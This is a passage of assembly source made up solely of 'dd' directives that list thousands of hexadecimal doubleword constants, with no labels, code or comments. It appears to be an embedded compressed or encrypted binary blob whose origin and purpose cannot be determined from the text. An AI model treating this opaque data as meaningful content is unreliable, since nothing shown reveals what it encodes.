dd 1D720201h, 0C0DC9697h, 732A260h, 924FE443h, 7A6E80D8h
dd 94004974h, 60CFD6D0h, 5C9E7Ch, 5880DA12h, 9A1B340Fh
dd 3A51F60Eh, 60F8E0B2h, 72FC5C90h, 98B5A7Fh, 908FAAF3h
dd 0CEBAE680h, 4A125276h, 1903825Fh, 0F3B0C324h, 9854F0D6h
dd 37E0018Eh, 5C84204Ch, 0FC38204Eh, 0D0B0EA04h, 81EA6894h
dd 213B121Fh, 34DF204Fh, 0CEF0B603h, 1F9E9Ch, 1B3C10FCh
dd 43FA0729h, 0F04F6500h, 7BF86E6Ch, 9C3200B8h, 1F06267Ch
dd 0BF0293B3h, 0F3DE7283h, 0FAD668E6h, 5D6A7A70h, 0BB00D011h
dd 0DF4AD378h, 0FE24960Fh, 0CC00FCC4h, 8C8170B0h, 9F0100CEh
dd 0B8C9AB30h, 1A03093Ah, 5E08D00Fh, 5D78A835h, 2469000Bh
dd 0FCBC7AD2h, 0A1E4993Fh, 87A92501h, 0C5E7B63Ah, 0EE4CDC8h
dd 83A295D5h, 3F2F7A0h, 740068F0h, 783E9822h, 574946h
dd 259B3FA8h, 41E462A5h, 0F8FEAC00h, 9354338Fh, 0ECEA01F6h
dd 3904F0F5h, 6DCF4034h, 8100752Dh, 433509E8h, 1F284FC9h
dd 406E3CAAh, 0A8D0877Fh, 0E401B6E7h, 84BA85BFh, 26CCA0DEh
dd 167C0094h, 28AED94Ch, 9302F27Eh, 0F9B0A6C9h, 761350B6h
dd 2DED78E1h, 0CCDEF8F7h, 9E0E0D04h, 324EEE0h, 0EA924210h
dd 0C08C5056h, 23745A94h, 0F2906603h, 0DBA27099h, 0F8C5EAB5h
dd 0CDB8FDh, 0FA25A8E8h, 0C90C6E61h, 20D1140Fh, 2FE140D9h
dd 7F13BE9h, 6C0B2B44h, 7BC0BE58h, 0FCB778A0h, 79DC300h
dd 0F4E7EB88h, 0AC0400E4h, 0CF738E3Eh, 8B000F80h, 78D09349h
dd 22A95Bh, 9CD8D39Ah, 7F72DA98h, 768F7400h, 0BCB5AA2h
dd 8C084C78h, 42D11E00h, 1D880E2Eh, 9F294E00h, 3D4D3CFBh
dd 5D3E0157h, 0E4876827h, 938FC882h, 0F3B2660Eh, 0F0CD45C2h
dd 0DA4F1FEAh, 0BAE09E1Bh, 0A5005787h, 7B5AE067h, 1C1F4CBCh
dd 80E79FA4h, 0A0FD92F3h, 0B2E4219Eh, 96581D03h, 0D0C4C264h
dd 58B88EC9h, 6C005BF9h, 0E3F2E04h, 8C059230h, 0F4AF56A0h
dd 48058F80h, 0C8B23AF6h, 0B4398900h, 24C433CEh, 742EA201h
dd 0A044128Eh, 5FB26660h, 0B44F0EAEh, 0E9C0BE8Eh, 0E310413h
dd 28050790h, 4BF045ECh, 0A2923C80h, 0F6F034Fh, 88CF815Ch
dd 0ADCBA390h, 27F06112h, 0E13E5D80h, 0E95101FAh, 3F6A3C5Ah
dd 2B78C96Dh, 598D1609h, 0A2B11214h, 3FDA3F94h, 58FC00F2h
dd 3A1939ECh, 443B2C2Fh, 623D0049h, 2437A27h, 8A34813Fh
dd 96351EC9h, 973E803Ch, 95AAC277h, 0B87E7170h, 0C3E203AAh
dd 6F2FD30h, 0AF7462D8h, 9B74E04h, 27B0D044h, 0F9E4E5h
dd 5F1DFF4Ch, 8952640Eh, 560241EAh, 3881E975h, 2EB541Ch
dd 22C12EB3h, 428336E0h, 21A3181Eh, 35C32AC0h, 0F583BD2h
dd 0F575AF8h, 92CF7DE0h, 610FAAC9h, 0F9BDE8h, 0FCF4BC34h
dd 38390008h, 3B2D3A12h, 4B003C43h, 9F905524h, 1274976Ch
dd 2C918C2h, 0E2E112C4h, 390CE440h, 3C70142Ch, 0DA834500h
dd 0FE60D353h, 12F0036Ch, 814FEEB8h, 0F3D80AE8h, 0F100DD72h
dd 70D0FDF2h, 4B7445B0h, 5B4EC03Eh, 5D00667Ah, 803F7E6Fh
dd 0EC18B25h, 0A6F99FCEh, 0E28B043h, 0E005C2D9h, 1E0392D8h
dd 20B449EAh, 0C02CEA3Bh, 0F416Fh, 61574B4Dh, 93F985FAh
dd 2C6440C0h, 197ECh, 173C07A2h, 41D122C9h, 2452D900h
dd 0C4926FC8h, 0C29D0F49h, 0DA45D63Fh, 996E80CCh, 9F0FA34Eh
dd 0BD3C3Bh, 0C1C725C2h
dd 0F9D11C60h, 3ADB9DD6h, 3E6AF880h, 83747972h, 0BA934800h
dd 133F0AC2h, 5FE870h, 767C0F45h, 0A68F854Fh, 3E3CF39h
dd 900EDCF5h, 70409801h, 4E0F018Eh, 582D8921h, 0E0B4F5FAh
dd 760EC359h, 4E86F379h, 0F29F808Eh, 4DECE9A4h, 0F13082B9h
dd 72310C89h, 20491600h, 3D323CBEh, 347E23Eh, 6D27663Fh
dd 99F85EECh, 0AC3825C0h, 6005070Bh, 0E6C593CEh, 2504180h
dd 0C314034Fh, 5DB3285Ah, 0B2D381A8h, 0F2BBE309h, 5CD880E6h
dd 486E2D2Ah, 580570FAh, 0F0817C90h, 4E019555h, 0BF5E0F9Eh
dd 0D6C9C9CFh, 72C2DECCh, 0FA702C60h, 765D06AEh, 27008D7Bh
dd 0D9F641C1h, 7938E9F9h, 4B037946h, 7E5FCEEh, 853D7E58h
dd 2E0591B0h, 16A101ABh, 0FCCFCE20h, 92F1C8DFh, 1101CC7Ah
dd 84321E36h, 0F840563Bh, 22824Ch, 4F2A7063h, 8EF60F7Ch
dd 98CF39h, 0C2A8CBA1h, 3A94E124h, 27AE38D3h, 1E200FC5h
dd 0B3329201h, 0F0C14768h, 0F1A0E288h, 0C21F1200h, 0DF27C791h
dd 0E2F8F641h, 72380F07h, 83E04E15h, 64C35CD8h, 0E26FD307h
dd 0C69049B2h, 924D7F9h, 859FEDD6h, 5AFE9170h, 8056B03Ah
dd 0F8A6F490h, 9A94ABh, 0AAA0D813h, 773A394Eh, 3E1E59F0h
dd 4C0EC49h, 40900C3Dh, 423000BCh, 0ADA0997h, 1239E002h
dd 8E76B857h, 409F84ECh, 98A8BB2Eh, 6B30FF3Fh, 9E100326h
dd 5B133C9Dh, 7C27D400h, 6CC7D461h, 7405EE14h, 0F83B1F84h
dd 84629F96h, 80F99EBAh, 4E740C38h, 9D9A2D38h, 6B805678h
dd 0CFA2E80Fh, 0EECB00E5h, 34030E41h, 1CF81694h, 1700FDB8h
dd 4A384929h, 395D9699h, 890083F9h, 0A1278A68h, 0B17BAC61h
dd 0D26CCB00h, 6436DE2Eh, 184E00FCh, 78D82A49h, 3BF01EB8h
dd 8756C23Bh, 30546C62h, 0C0D375A2h, 0EB53CAAh, 0E27E0E50h
dd 95DF140h, 430E2506h, 63AF3487h, 14A4D9h, 3BA03AACh
dd 3DB43CA5h, 0DE2CC91Fh, 3EB18404h, 58882A80h, 0FEDBFEDAh
dd 1E3F4DFh, 0A861E725h, 71F3F9EFh, 6CFBD038h, 70EFA05h
dd 0FD000D3Fh, 37CF258Eh, 4F3D380Fh, 1E558F9Eh, 0C96D8067h
dd 4EC05881h, 50839502h, 74C8F3BAh, 80EB1D7Bh, 0B004F7FAh
dd 0E4000982h, 1B11C4F1h, 3C533Bh, 3E5B3D57h, 4E63265Fh
dd 0C26B9200h, 50698074h, 0C4C2A09Ch, 36AF4B8h, 0F6C97831h
dd 1000D9BDh, 2775760Bh, 64B5E0h, 3ADCAC4Dh, 1C5A2472h
dd 351A8500h, 0BC9093A7h, 0DBC600A2h, 37163896h, 76001D04h
dd 0C8C50C17h, 8DF40Fh, 6CE1918Bh, 539DF999h, 0F2A5FC00h
dd 0C5FEA7A9h, 0E4D900E7h, 1568F0EDh, 840E879Fh, 8251673Dh
dd 0C08CF872h, 8EC19Eh, 90093E82h, 4F92F08Ah, 7C42E6E5h
dd 0A27E3A40h, 0C2AA4A00h, 887CEAB2h, 0E0120313h, 5DE84982h
dd 987A9CD8h, 7E0EACFAh, 0E0E959C0h, 253A110Eh, 3BFA005Fh
dd 3D613C4Dh, 0B27B3E87h, 0E5072D9Eh, 0E4708464h, 1F11B58Ch
dd 6CAB9Ch, 9302F624h, 8600C218h, 0C0E48457h, 9085E808h
dd 4E5D2C33h, 0B3CF003Eh, 0BB4BB70Fh, 5BA25001h, 0CB4C0BC3h
dd 0A4392EDDh, 0FDB0C7Bh, 311EF754h, 2D921C09h, 80418BC9h
dd 2171FE4Dh, 33B01F28h, 0D1C300B9h, 344CD8D3h, 0AC394F2Eh
dd 36E9A300h, 0EAF8E1EFh, 0BF50002h, 0FFD131FDh, 820787DAh
dd 4C35272Dh, 49F044E0h, 4749Fh, 97C2A076h, 87260BB7h
dd 0E5A31C00h, 0AFEAB0A7h, 0BAB300FCh, 54BB7E22h, 0C70B9EBFh
dd 80508BB5h, 0F34BE1B1h, 3F80561h, 8342092Eh, 23D83E61h
dd 0C23B3A84h, 305C8351h, 77937B1Fh, 70980186h, 34AC5D5Eh
dd 0CA2D603Fh, 0DE08C102h, 0C0060F2Eh, 580A12h, 4A3074FEh
dd 44F6C838h, 0F8919500h, 0FA272B50h, 36A41EFBh, 3A564045h
dd 0DC9270E8h, 4AA97400h, 0E0CC5FD5h, 0FD41D6Eh, 810E40D3h
dd 0E1ECB1E8h, 9511F003h, 0F0998A04h, 0EC0F5E2h, 9C8F3263h
dd 9EA81D60h, 0E30016BAh, 93F726E1h, 41747h, 0F8C26334h
dd 9EC669D7h, 95A7C00h, 0A966374Fh, 968500A0h, 6E50920Eh
dd 0CE0F7E49h, 602E7824h, 0B08E16AEh, 0F0EB121Ch, 0D2740042h
dd 0BC6B4466h, 0DA2E2637h, 0D5D0B8B7h, 4BBEA8h, 3DF28329h
dd 0F0E947B2h, 0E68F5E50h, 7EC97305h, 9D87DA70h, 0AB5A9D50h
dd 0BE443EC2h, 0D21FA400h, 0F8490D97h, 20E1290Bh, 0FBAE05Bh
dd 0CF862C8Ah, 0C9960767h, 0AE24F29Eh, 0BE748E58h, 93FC600h
dd 2AE4D68Eh, 3D030013h, 260F097h, 7D003E2Fh, 3F217081h
dd 4386C29h, 4C26453Bh, 500ABAEh, 0C811E088h, 39EA015Ch
dd 2D663A2Fh, 0A7868076h, 0A8CEBC24h, 3C0F5CDCh, 414F3300h
dd 0F07E3409h, 0D85D9C00h, 50BA5CC0h, 953800D7h, 0A0596685h
dd 0F8009E1Ch, 0DC1AFCF5h, 3D519D3Eh, 0C58B7B1Dh, 1380E112h
dd 5EFCF04Dh, 0E4168800h, 5014C609h, 44762CD8h, 607A013Ch
dd 0DC4B7B7Ch, 0DA014A0Eh, 30D0E98Bh, 0EAE41B4Eh, 46CF0034h
dd 0CC38C003h, 4B00DD92h, 0B2F0BDE4h, 9E9CA8h, 0D126C26h
dd 0E82972E0h, 6A9A3700h, 8549807Ah, 0C72700DAh, 9CC11642h
dd 0CC4C68D6h, 0EC80B14h, 727D003Ch, 0BFC9FD8Eh, 2F4DD583h
dd 0EF8020E9h, 509BB0E7h, 6898B038h, 101CEA00h, 2F92153Fh
dd 0D6282CE0h, 8E9F03FEh, 32B009B6h, 6800C19Ch, 0D136C926h
dd 3A49D93Eh, 5E87B228h, 70617F2Fh, 960B3FA0h, 24D8B50Bh
dd 0C4B88098h, 0DAC954h, 50859DD3h, 15CAE0DDh, 2931260Fh
dd 92626088h, 0AE8276h, 2C7C7E9Eh, 3249017Ah, 4D334200h
dd 0EC3C80C9h, 84D7002Fh, 0F6F819DAh, 0C101BC27h, 166EE9D8h
dd 0DA300964h, 0B89C0058h, 4C897898h, 1C0091A5h, 4E9D4636h
dd 169E5E1Dh, 0B0831E66h, 0A800ACA7h, 746C72BBh, 0E27693h
dd 69385C12h, 0B27C2683h, 6600C9E8h, 0F9B4F1A1h, 27BCAh
dd 0C390516h, 17A34AC3h, 0C223B300h, 7E06702Fh, 525E0040h
dd 0C968660Fh, 36094188h, 0D96C6494h, 69201EBh, 0CC4A74B0h
dd 0E6724009h, 3A024200h, 2CC2104Eh, 70E8FC3Ch, 28682641h
dd 2A8E3F4Bh, 0FA00D34Ch, 0DD315230h, 34293300h, 84A7672h
dd 0AB0C1C0Bh, 0D3E640h, 58C98D5Eh, 880E3C20h, 0A00965E4h
dd 0E3603E41h, 6CD0F78Ah, 707D2Dh, 0E498C720h, 232979Ch
dd 0DE1C1072h, 0F88045C4h, 620D2F22h, 66E113EAh, 7B980006h
dd 0D812EE0Bh, 1A4BF002h, 0E2C63AC3h, 33AEC013h, 0BEE400AFh
dd 265081B7h, 3C019335h, 410E251Ch, 0E0306474h, 0E2E80030h
dd 9682DC06h, 8600562Dh, 5A2C621Fh, 91DA49Dh, 3CFE81FBh
dd 0C8FA4D80h, 1C003E57h, 93713F46h, 0B4E179h, 0F4B12260h
dd 0FCC7F8BCh, 58DDFF4Ch, 947C053Ch, 0C3C0FE80h, 901D31h
dd 96849754h, 2E08BC1Ah, 25CA6F00h, 40E15E87h, 553800F4h
dd 745B7239h, 8F704983h, 3EAE3D00h, 0EAF32CC6h, 1EC001B3h
dd 46A2B92h, 0E956E4C1h, 4B00F1E2h, 0F24CE238h, 3824763Bh
dd 3D80099Fh, 4E32D847h, 2E00C366h, 0DC94D28Ch, 279C122Ch
dd 4DC19E83h, 4A1670F2h, 96B41F07h, 893C2F6h, 22929063h
dd 0B29D0043h, 7CD07054h, 0BD007EB8h, 0C53F8917h, 74230B1h
dd 7724F080h, 499E00D2h, 0E100D6FAh, 6807E9F5h, 3263A66h
dd 3CE42B24h, 0D9B88F3Dh, 2D3E93BCh, 0EC560BA0h, 0B575815Eh
dd 0E7F8FA07h, 0F9E405F1h, 0C05D6093h, 856449E8h, 27CA781Eh
dd 0A17207C0h, 14E4ACE7h, 0BE76E0BBh, 38B4CE00h, 60A00A17h
dd 89951A00h, 311C04B6h, 3C74B8BCh, 4F81613Dh, 0FC5BE434h
dd 608E6163h, 0B7E2B0A5h
dd 98879703h, 93CEE7C4h, 0E4DAA0D5h, 9CBC01E2h, 5804F32Dh
dd 2794DC09h, 8C07161Eh, 93FE8FC0h, 0FE36323Fh, 7E8A3C70h
dd 3772007Fh, 8640A06Bh, 0A5E21CB4h, 1DB89D00h, 15F09ECDh
dd 2FFA002Dh, 8BCA856Ch, 0C80ED4D3h, 0C03CC1E1h, 3E7C0C92h
dd 5602C11Dh, 0E4C36296h, 1B0BE0FFh, 0BE273Fh, 0B64F46DCh
dd 7449176Ch, 7C5E04D8h, 0C8B3C05Bh, 401C5070h, 1C014F0h
dd 0EE300BA3h, 3A7C32h, 0F916640Ch, 2F34B8FDh, 0C6610500h
dd 0E177310Dh, 0E3B0086h, 29ED25E0h, 560028CCh, 2E7353Fh
dd 741C53Dh, 0FC4992A0h, 0FD51204Dh, 59008C20h, 611FFA94h
dd 76593h, 25923B98h, 9A08E002h, 380A9C00h, 1FEC824Ah
dd 0F77A48DEh, 987C4B00h, 76165C26h, 96308312h, 0ACFA4A00h
dd 12B0D4h, 0BC684FB4h, 7678C0CBh, 75C85B3Bh, 50F08B00h
dd 87F84ACAh, 3F032772h, 0C200D4ECh, 7E265814h, 48204A1Ch
dd 0F413F68Bh, 28EEE292h, 6000FAB7h, 68E564E7h, 3E70DE4Ah
dd 0B9935EE0h, 3EBEA0A8h, 0B41A0F00h, 6AA7B8C9h, 0C4E400C0h
dd 0FCCC64E0h, 0C600BAD0h, 0BECBD85Bh, 0EB250C9h, 40C61F0h
dd 0C32A08E0h, 14E6104Ch, 0E318D300h, 0F020F21Ch, 285B0086h
dd 79FBD0C7h, 580E71D2h, 46FA5CF9h, 8AE548h, 7CFC78A0h
dd 8416A29Ch, 8CE8F012h, 13EA5700h, 0B682B4h, 0CCE058C0h
dd 88D860C9h, 2305E71Dh, 2D01BC9Fh, 0C0C83166h, 0C93CCCh
dd 0F0686F40h, 4F2EFD64h, 81709E3Dh, 7CECC174h, 84C880F9h
dd 2FE60078h, 9404418Ch, 65A2E7Ah, 0E3C0F5C3h, 760CE2C4h
dd 0E8E2840h, 0DCCFD8E0h, 1CCB405Dh, 2C5FAA70h, 3C100905h
dd 94A87C78h, 0E15C8A00h, 74F96C12h, 84222F00h, 44AE568Ch
dd 0AAAC01A4h, 0A661B425h, 588240C4h, 0BF63064h, 0A4701A00h
dd 0B8E884D2h, 0B8C752Dh, 16FC9462h, 0B84970h, 0A803A47Dh
dd 6FB02CC1h, 7BB8F80Bh, 1C4107FEh, 0A02F3834h, 20704832h
dd 0F5C5A00h, 6CCB689Ah, 2FF0747Bh, 0AB63DC79h, 96F441BFh
dd 0C04630F8h, 8004353Eh, 0E164C611h, 0FA6CE968h, 0AEE70h
dd 0E285B778h, 0B9E4BC80h, 0C07C3E01h, 0C20B9FC8h, 0FAD464F4h
dd 0DC2D00FAh, 0F1C9FCE5h, 301FD9D2h, 38800B3Eh, 7C7214D1h
dd 4FDE00E4h, 0A0E68298h, 120036F4h, 0B0AA83A8h, 0F2B4F3h
dd 4F48D0B8h, 96F69FC0h, 10609C00h, 18888597h, 206A3EB0h
dd 28068480h, 64E808FDh, 1344BC01h, 740EF06Ch, 80A8C680h
dd 88B00F2Fh, 588CC900h, 0DE944FC6h, 0D08F0E1Eh, 5263D4CBh
dd 0E090DC7Eh, 0B00E45Bh, 8650ECAEh, 3F0FF45Eh, 0E80FC76h
dd 8490438h, 4A48EE58h, 18F00073h, 0F4561CE2h, 147B01Fh
dd 162C9328h, 0D8A4B1AFh, 0E07F3C02h, 87B5440Bh, 75F858h
dd 4B854E4h, 602F5C3Fh, 15A00E03h, 85B6AB01h, 3FF013Bh
dd 40E86090h, 0EB0E1506h, 87821144h, 2EB590DBh, 4D02E00Ah
dd 44BB18DEh, 0DD039029h, 719D2B18h, 33BD8311h, 89AD30D8h
dd 832E2FE9h, 3E850F0Eh, 8D183B05h, 5027E030h, 0EC2095FFh
dd 60897D31h, 0F88B1BDCh, 0ED669D8Dh, 432D5311h, 797936E8h
dd 21FA4228h, 4E7D4457h, 6A49D48Bh, 6A075618h, 10066804h
dd 0DF46EAA0h, 4C6D38ABh, 75264268h, 2A453AA3h, 0E853C70Ch
dd 7F8B3774h, 0FBD51C8h, 1B41B5E1h, 0ACE2A4F3h, 0A3807623h
dd 57E35036h, 850E0E8Dh, 7EF2C51h, 10AC3C0h, 2100409Ch
dd 2002B063h, 7F3C9008h, 145200C4h, 4409108Ch, 0D8BD21CCh
dd 57E100E0h, 330E0520h, 8500222Ch, 4FF016Fh, 559D8Bh
dd 0B0CC02Ah, 0A7A74DBh, 870003ECh, 89195985h, 318DF0h
dd 831171B5h, 840FC03Eh, 47D36A1Dh, 468B4043h, 68E4C004h
dd 141EFC99h, 9A063850h, 0EC305586h, 8B560D1Fh, 9D0309C5h
dd 51A0BB05h, 2F29A03h, 6EBD8880h, 12D0070h, 85FE4C75h
dd 8B0F0940h, 0E050033Eh, 370EFF1Eh, 0C30707C6h, 0CF8FD7A7h
dd 535651A3h, 83BA00D5h, 0B55506E9h, 33173FE0h, 56000BDBh
dd 1A781C03h, 0E83C17ACh, 0E9FA00BBh, 494304D8h, 0EDEB0100h
dd 0C3831E29h, 0C6CD0005h, 0FA4C76F3h, 5B070DE0h, 6258595Eh
dd 36104837h, 0F90CC1h, 8DA5F302h, 3C0377E1h, 535EA400h
dd 809C5088h, 9B853B82h, 7D8A083Bh, 1ED57AB2h, 0FF45C0C1h
dd 64E402A9h, 0E10729FEh, 864B5595h, 2B0F1970h, 79D89DD0h
dd 0E8C1C200h, 0B88A4610h, 235D0067h, 4C3A6D03h, 0FC0074FFh
dd 834E548Bh, 0D17308h, 0ADCA7DACh, 0C107EF66h, 910CEB00h
dd 9D7401FBh, 5002070Bh, 0C7033D16h, 2F2CF020h, 0E3001481h
dd 79820FFFh, 0E604011Fh, 7E1D79D4h, 390EEEB2h, 8DBD462Dh
dd 0B8E20200h, 61DC9ED9h, 128B4B0Ah, 6000E203h, 40C0850Ch
dd 1539071h, 0EAC2EB83h, 20C7A2D8h, 26000CF0h, 53073275h
dd 29F016h, 4A4D6E04h, 413BB4C7h, 0C403A901h, 66470646h
dd 107AD8h, 1B57ED6Ah, 7ED618B7h, 0FA511A00h, 850D41B0h
dd 0A49900DBh, 62F759A2h, 802501ECh, 0F0F475h, 5653C543h
dd 6500028Ah, 19B5AC7Fh, 0E6E8B850h, 755B0367h, 2A25A66Fh
dd 0D28B57E0h, 83659839h, 31342BC7h, 99E9D842h, 4939012Ah
dd 37DC3606h, 188EDC53h, 5A247500h, 0C1124AD3h, 140200E2h
dd 3F7C0F63h, 835F3C7Bh, 30AE0h, 0D91CA35Ch, 0A1DE1304h
dd 0EB5F2300h, 21515A16h, 8177A4h, 8307894Bh, 3704B14Ch
dd 0AF32E900h, 4A2D06E7h, 710E892h, 0D9141C0Ah, 0FEEBF0C1h
dd 8500BA24h, 0A4506544h, 735B483Dh, 100400C2h, 61022F11h
dd 0B81F0875h, 0C402201h, 32BF54Bh, 1C9300C3h, 0B715588Dh
dd 0AC005051h, 7656DCD3h, 3942DEBBh, 0A3804825h, 2708ED21h
dd 9400DB30h, 641A8B4Ah, 38D83D3Ch, 0C40283D0h, 306A5F10h
dd 0E1468961h, 0C9C2301Dh, 2C47F600h, 513C978Ah, 74985Bh
dd 43A57729h, 14959FEFh, 4CC2CE01h, 0F4391833h, 0AB10D4h
dd 0AC4A4051h, 779F196Eh, 53D51E00h, 56D28D89h, 0E49B00F2h
dd 68C598F0h, 0C73BC84Dh, 50D480DAh, 5C9CB6BEh, 31EEE4h
dd 13B5A1Fh, 3733888Ah, 0EF60DA00h, 0BB86BC39h, 0E2EE006Fh
dd 1072C6DCh, 0AE0096FEh, 24CF0A7Dh, 0ADB14Fh, 4C2A4481h
dd 0CDD53940h, 0C8012301h, 79B62C09h, 0BFF1E4h, 17607C0Eh
dd 0AB51E0FEh, 8D0061EAh, 1690FBD6h, 2FD240h, 28A1B4D4h
dd 587CC109h, 0B8191100h, 98107174h, 0C72A0059h, 0BEBB8531h
dd 80009F8Bh, 233935E8h, 37BD87h, 92DF5D63h, 4E4F0372h
dd 6D009579h, 57B9D5E4h, 38DEA83h, 82B7CD0Fh, 7C00DBCh
dd 0B103FD41h, 87A3972Ah, 8ACFE029h, 48240078h, 0B7EA61E9h
dd 0D5EE7649h, 0F768441Dh, 0A1145080h, 0F2C4BC60h, 0C8E0027h
dd 0A0656631h, 0BF00174Bh, 3FD6872Ah, 6EEDF1h, 0DC8ED3BCh
dd 0AD30EC57h, 0D548E5FAh, 56CB05FDh, 0C3BB4CF1h, 800A1DBh
dd 0A575C410h, 8CDBEh, 31E18193h, 42CED970h, 0DE19DD1Fh
dd 71959987h, 3F8F1CA0h, 4698003Dh, 0DB31A266h, 50030A8Eh
dd 5DA8D0F7h, 59C6D05Ch, 24D51EC2h, 0B842CF0Ch, 0BD49E9C0h
dd 8100262Dh, 62CDBB78h, 0A2023h, 0B0FCEC59h, 5C33F086h
dd 0D79BE600h, 0ABE21B42h, 411C0060h, 5D740602h, 0F00ECC61h
dd 7F834AC6h, 2FA2EC0Eh, 31472075h, 0D55E0Fh, 0B39E8D01h
dd 0C78E62D4h, 5A1DCD00h, 0F5B2F9A4h, 0A22F6092h, 1C684ADEh
dd 512E1E0Eh, 451A4069h, 0F430F8Ch, 0B82A844Eh, 0FA7B6C20h
dd 0B400A860h, 768BC7DFh
dd 7DB91A0h, 179A270Ah, 487F006Bh, 0EA038997h, 633644D0h
dd 1504E083h, 18CECDFh, 35586176h, 0C46F24BFh, 0E63B5599h
dd 0EC2B0019h, 17685464h, 0A16A00D0h, 0BB2624A3h, 0F47C76F0h
dd 1DAFDB04h, 8280E69Bh, 88662Ah, 650824C9h, 0E978890Fh
dd 737938h, 50D74341h, 6EC21Dh, 69EC54E7h, 1367D3B3h, 3E74EA1Eh
dd 7B9D3700h, 0CEB45Ch, 62574738h, 33B5B6E9h, 61B30800h
dd 31033CF3h, 2BC33A65h, 27BAAE00h, 116A8B22h, 0D925B300h
dd 3CA1E837h, 0E4481E5Dh, 0D29CF6h, 41E2D45Fh, 641C0467h
dd 0B4FD6F4h, 7FDCC037h, 1B6C36Eh, 12E357A1h, 0CA01AA54h
dd 53458EC0h, 4072200h, 0EC5FD244h, 0D3C80020h, 0A96D7C14h
dd 2A01D9BCh, 0B851CF3Ch, 5AC56C31h, 0ED01E0h, 7BCBB39Dh
dd 69C5ACA6h, 4A6F2500h, 2565E2Ah, 88F81410h, 1A00E4DAh
dd 76A73E27h, 1301EB1Bh, 0C0CE492Ch, 92FCD780h, 15850056h
dd 19D152BFh, 0B50053D4h, 0E396C067h, 320482h, 0AA0E3C76h
dd 0D449596Ch, 771D7C72h, 4E8F095Ah, 7EC0FD70h, 9207A7B1h
dd 3FDC3E27h, 0AFE2DD03h, 70F0B084h, 0AD001881h, 0CF147C9Fh
dd 0A8C26Dh, 6878AC54h, 0F73128F3h, 0B033C500h, 9B35B6B1h
dd 0FC2DE6A8h, 641500C6h, 0D104CA8Ah, 0D034BE0h, 81242C8Bh
dd 4FA0BCEDh, 35557BC3h, 870860ECh, 0C7D7034h, 8000B2FCh
dd 8846068Ah, 1E024707h, 9E0575D2h, 0CA129D16h, 500BEF73h
dd 0C057334Ah, 830F090Dh, 0B83F62D6h, 0AFC0130Fh, 674E00Bh
dd 0F87C2B57h, 0BD5F0731h, 0A061A0EBh, 72C13E4Eh, 0F7E883EAh
dd 5AB928E1h, 0E0C92120h, 2BF78B56h, 0A4F3F501h, 0FF58E95Eh
dd 0C1480282h, 0B2A208E0h, 31B5E88Bh, 7D183D9Ch, 0C81A7336h
dd 143F050Eh, 2140410Eh, 31811F0h, 777FF883h, 2C1A903h
dd 2CF6155Dh, 0C90033A3h, 7401E8C0h, 6AD18312h, 0E21CB602h
dd 5D07FEE7h, 552609B9h, 82618687h, 797008C2h, 7A8817E1h
dd 39FE7C5Dh, 38C76AC1h, 560FDC5Eh, 7574A369h, 1541F361h
dd 0D636F16h, 65CE468Eh, 508F0C35h, 9EFF6F8Eh, 450FB863h
dd 7AF16978h, 53E373F8h, 8CC67545h, 4D6343A6h, 0FC676129h
dd 41F00EFFh, 7060770Fh, 746E6972h, 4C146663h, 4544F04Fh
dd 6206E52h, 98707B9Eh, 50657AE5h, 6F643E70h, 375FB875h
dd 2079C642h, 1F53BEFFh, 63DE7325h, 2DD35C65h, 0B5BE8CDEh
dd 874D3862h, 1EB7E261h, 6BFBEE38h, 0F7C779CBh, 2E63C66Dh
dd 0B6B20CCh, 0DA727E62h, 51A76875h, 2C64D66Fh, 1E2BA2A3h
dd 245E4375h, 38C4C190h, 0E509D232h, 0B3181529h, 33FD4702h
dd 0FEF741F1h, 239AF5D5h, 7E8F43FFh, 0A663B5D2h, 4163467Dh
dd 0DF6F4C27h, 9F5394AEh, 67B3B4E7h, 4EA4A9B4h, 0EA00DF96h
dd 10060h, 3CAA0000h, 48F0000h, 82981225h, 0B18E10B2h
dd 57D820D3h, 89CAECB4h, 6FB0F77h, 131DE5AAh, 6DAE9264h
dd 702C9670h, 0AB15D75Ah, 567EE701h, 35565E40h, 94613FC5h
dd 93C708B6h, 0A12614B1h, 1957D9E4h, 25BC51E3h, 0C297F8E1h
dd 0A30C138Ch, 0BA762695h, 98830E70h, 0E5225270h, 0B5D267FFh
dd 76C00353h, 16DCCBDCh, 910FC0AEh, 0AE92BBB7h, 21AF747Bh
dd 0D45FCB15h, 0A55AACA8h, 6F4FA53Bh, 7A1168D3h, 0D7798258h
dd 0A8A1D38Bh, 9BA1F792h, 0C9E09E92h, 89BFB92h, 0E66E947Ah
dd 244CD5D9h, 369109BAh, 0CA31AD65h, 0FAFB5EA5h, 6E068FA9h
dd 5B003DF6h, 714DABF9h, 0A6853949h, 0D0F22C8Ah, 75C552h
dd 3DB0E85Ch, 0C8586487h, 0D873D033h, 0D18204C4h, 0CC2B84Dh
dd 0A504E457h, 0A2C907B8h, 0B1A6E591h, 12978C6Eh, 2DA06AB7h
dd 6C91987Bh, 3F58CEBDh, 4315824Eh, 0FC39E33Dh, 91DFB43Ah
dd 0B3D5CDBAh, 2B4929C1h, 0CA5BCFA3h, 7726E5C4h, 9FFE3861h
dd 0A6D38BC5h, 1D7C1114h, 77F7249Fh, 891C5AD5h, 0C7D4A8A0h
dd 0AED2DD5Fh, 3ED6B5D2h, 90906733h, 67296DDEh, 0BFFD4BDh
dd 5933EF4Bh, 89FD1292h, 963B06Ah, 0ABBD2B8Ah, 4F1AEC1Bh
dd 0FBF6362Eh, 7EE38BD4h, 2C824784h, 0F652C5Ah, 0B9B48FD5h
dd 428C3B1Ah, 0E85A346Fh, 0A2DA1515h, 8657C060h, 7DC8944Fh
dd 0A6F3A167h, 789E253Eh, 5AED0BB6h, 77CEC83Fh, 3E9519EEh
dd 0E2B790B2h, 0E6B60A87h, 7318AD1Ah, 2F847EE7h, 0C85C8E4Fh
dd 1353DD9Bh, 6CCD70F3h, 4B75C97Ah, 88C86CEh, 5F1F0049h
dd 7D833B6h, 0BCD8A49Bh, 0B34A6A59h, 605163E2h, 0CDA26106h
dd 37824090h, 0D8DE4B8Bh, 4106B62Fh, 42D12AB9h, 570C33Dh
dd 4761E70Eh, 7DB22819h, 0C5798F1h, 54B5A1D1h, 26281A9Ch
dd 914A562h, 0DD07C94Fh, 0B3FA728Eh, 0B1DC6D0Eh, 3C0428C8h
dd 3B614584h, 0C4D7A44h, 591D480Fh, 0B817F16Ch, 0F6D5EBACh
dd 5F36B97h, 0F889B61Dh, 125088DBh, 0DE47A648h, 9BEA5721h
dd 8D94E2DEh, 7DDAF6FFh, 77939661h, 67AB316Bh, 7F3322Bh
dd 660143D2h, 1472492Fh, 616033C7h, 5BC00E4Ch, 0D957D9A5h
